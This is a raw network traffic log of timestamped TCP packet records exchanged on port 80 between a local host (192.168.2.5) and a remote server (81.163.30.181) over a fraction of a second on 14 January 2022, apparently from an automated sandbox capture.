Jan 14, 2022 21:05:50.597537041 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.597547054 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.597556114 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.597573996 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.597579002 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.597590923 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.597599030 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.597610950 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.597628117 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.597639084 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.597646952 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.597666025 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.597671032 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.597683907 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.597701073 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.597718954 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.597729921 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.597738028 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.597754955 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.597759962 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.597773075 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.597785950 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.597793102 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.597810984 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.597821951 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.597830057 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.597861052 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.597863913 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.597887993 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.597904921 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.597909927 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.597923040 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.597939014 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.597944021 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.597956896 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.597974062 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.597978115 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.597991943 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.598007917 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.598026037 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.598037004 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.598043919 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.598059893 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.598068953 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.598077059 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.598093033 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.598097086 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.598114014 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.598124027 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.598133087 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.598161936 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.598617077 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.598634958 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.598651886 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.598669052 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.598670006 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.598686934 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.598690033 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.598706007 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.598722935 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.598741055 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.598741055 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.598758936 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.598777056 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.598779917 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.598794937 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.598812103 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.598814011 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.598830938 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.598846912 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.598849058 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.598865986 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.598880053 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.598882914 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.598900080 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.598903894 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.598918915 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.598962069 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.602858067 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.603375912 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.603396893 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.603435993 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.611841917 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.655848980 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.655880928 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.655904055 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.655906916 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.655930996 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.655950069 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.655956984 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.655986071 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.656007051 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.656013966 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.656040907 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.656066895 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.656080008 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.656095028 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.656111956 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.656119108 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.656142950 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.656160116 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.656167984 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.656193018 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.656204939 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.656217098 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.656243086 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.656258106 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.656270981 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.656300068 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.656310081 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.656327009 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.656349897 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.656369925 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.656374931 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.656400919 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.656411886 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.656425953 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.656451941 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.656466007 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.656475067 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.656502008 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.656512976 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.656533957 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.656558037 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.656575918 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.656582117 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.656606913 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.656618118 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.656631947 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.656656981 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.656676054 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.656682014 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.656708002 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.656721115 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.656733036 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.656758070 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.656776905 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.656783104 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.656807899 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.656817913 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.656831980 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.656857967 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.656867981 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.656883001 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.656908989 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.656919003 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.656934977 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.656958103 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.656970024 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.656981945 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.657006979 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.657027006 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.657031059 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.657057047 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.657068014 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.657083988 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.657109022 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.657123089 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.657135010 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.657159090 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.657170057 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.657183886 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.657210112 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.657224894 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.657234907 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.657258987 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.657270908 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.657284021 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.657309055 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.657325983 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.657332897 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.657356977 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.657373905 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.657382011 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.657411098 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.657422066 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.657444954 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.657470942 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.657494068 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.657495022 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.657521009 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.657531023 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.660512924 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.660610914 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.661011934 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.664037943 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.670850992 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.670953989 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.688797951 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.715389013 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.715415001 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.715431929 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.715449095 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.715459108 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.715466022 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.715482950 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.715483904 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.715502977 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.715524912 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.715532064 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.715542078 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.715558052 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.715559959 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.715578079 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.715594053 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.715605021 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.715610981 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.715626955 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.715629101 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.715646029 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.715662956 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.715667963 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.715679884 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.715698004 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.715713978 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.715718031 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.715730906 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.715749979 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.715756893 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.715768099 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.715774059 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.715787888 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.715806007 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.715806007 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.715822935 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.715841055 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.715842962 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.715857983 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.715873957 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.715889931 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.715893030 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.715909004 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.715925932 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.715928078 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.715944052 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.715960026 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.715961933 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.715979099 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.715980053 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.715997934 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.716015100 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.716015100 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.716034889 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.716051102 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.716051102 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.716070890 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.716088057 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.716095924 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.716105938 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.716118097 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.716125011 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.716142893 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.716157913 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.716175079 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.716180086 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.716192961 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.716209888 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.716217041 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.716228962 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.716243982 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.716244936 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.716263056 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.716263056 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.716283083 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.716300011 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.716300964 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.716320038 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.716331959 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.716336966 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.716355085 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.716372967 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.716379881 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.716389894 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.716403961 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.716408968 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.716425896 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.716442108 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.716459036 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.716461897 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.716475964 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.716492891 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.716495991 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.716510057 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.716525078 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.716526031 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.716543913 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.716545105 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.716562986 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.716579914 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.718324900 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.718348980 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.718367100 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.719326019 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.721771002 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.721811056 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.728692055 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.733047962 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.774378061 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.774403095 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.774415970 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.774427891 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.774446964 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.774461985 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.774463892 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.774482012 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.774498940 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.774512053 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.774517059 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.774534941 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.774544954 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.774554014 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.774566889 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.774571896 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.774590969 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.774591923 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.774610043 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.774626017 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.774629116 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.774643898 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.774660110 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.774663925 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.774678946 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.774697065 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.774708986 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.774713993 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.774733067 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.774734974 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.774751902 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.774768114 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.774775982 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.774786949 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.774804115 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.774815083 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.774822950 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.774842978 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.774843931 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.774863005 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.774879932 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.774889946 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.774898052 CET	80	49882	81.163.30.181	192.168.2.5
